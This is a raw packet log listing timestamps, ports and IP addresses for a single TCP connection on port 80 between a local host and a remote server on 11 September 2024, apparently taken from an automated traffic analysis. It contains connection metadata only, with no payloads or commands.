Sep 11, 2024 22:52:06.542351007 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542372942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542392015 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542406082 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542426109 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542438030 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542462111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542470932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542505980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542519093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542535067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542551994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542571068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542583942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542608976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542617083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542632103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542648077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542671919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542692900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542696953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542727947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542752981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542759895 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542773008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542808056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542821884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542856932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542856932 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542889118 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542910099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542920113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542939901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542953014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.542975903 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.542985916 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543004036 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543019056 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543040037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543051004 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543076992 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543083906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543100119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543116093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543133974 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543147087 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543169975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543179989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543199062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543211937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543231010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543243885 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543268919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543273926 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543292046 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543307066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543325901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543338060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543370008 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543402910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543402910 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543430090 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543441057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543478012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543497086 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543514967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543529987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543548107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543566942 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543580055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543602943 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543611050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543631077 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543642998 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543669939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543674946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543692112 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543705940 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543721914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543724060 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543739080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543752909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543755054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543771029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543772936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543785095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543798923 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543800116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543813944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543828964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543840885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543844938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543859005 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543865919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543873072 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543886900 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543900967 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543903112 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543917894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543932915 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543935061 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543946028 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.543963909 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.543987989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.593127012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.599303961 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723766088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723822117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723845959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.723855972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723892927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.723906994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723917961 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.723941088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723969936 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.723989010 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.723999023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724023104 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724040985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724071026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724071980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724102974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724117994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724136114 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724148989 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724169970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724184990 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724201918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724217892 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724251032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724252939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724284887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724304914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724318027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724334955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724347115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724368095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724379063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724395037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724411964 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724426985 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724445105 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724462032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724479914 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724492073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724524021 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724534988 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724558115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724577904 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724587917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724606037 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724618912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724634886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724651098 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724664927 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724684954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724698067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724716902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724733114 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724749088 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724759102 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724780083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724797010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724812984 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724828005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724847078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724860907 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724879026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724896908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724911928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724931002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724960089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.724961042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.724993944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725013018 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725025892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725040913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725058079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725075960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725107908 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725107908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725140095 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725157976 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725172997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725188017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725205898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725220919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725253105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725255013 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725285053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725302935 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725317001 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725334883 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725349903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725368023 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725382090 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725399971 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725430012 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725430012 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725464106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725476027 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725496054 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725512028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725528955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725543022 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725560904 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725577116 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725609064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725641966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725646019 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725656033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725675106 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725692987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725706100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725719929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725738049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725752115 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725769997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725785017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725801945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725816965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725837946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725850105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725869894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725884914 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725902081 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725918055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725934029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725955009 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725966930 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.725985050 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.725999117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726015091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726032019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726042032 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726063967 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726079941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726097107 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726114035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726144075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726145983 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726176977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726193905 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726210117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726223946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726258993 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726262093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726305962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726309061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726340055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726362944 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726375103 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726387978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726407051 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726422071 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726439953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726461887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726473093 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726489067 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726505041 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726525068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726553917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726556063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726587057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726604939 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726618052 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726638079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726650000 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726669073 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726680994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726701975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726712942 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726731062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726744890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726763964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726779938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726794958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726810932 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726830959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726843119 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726864100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726875067 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726902008 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726923943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726938963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726955891 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.726972103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.726988077 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727005005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727020025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727034092 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727051973 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727066994 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727082968 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727108002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727113962 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727127075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727145910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727179050 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727185965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727185965 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727210045 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727229118 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727245092 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727257013 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727277040 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727298021 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727308035 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727324963 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727345943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727360010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727377892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727402925 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727428913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727430105 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727461100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727483034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727493048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727509975 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727524042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727555037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727566957 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727586031 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727587938 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727610111 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727618933 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727638960 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727663994 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727685928 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727696896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727710962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:06.727727890 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:06.727751970 CEST	49733	80	192.168.2.4	45.152.113.10
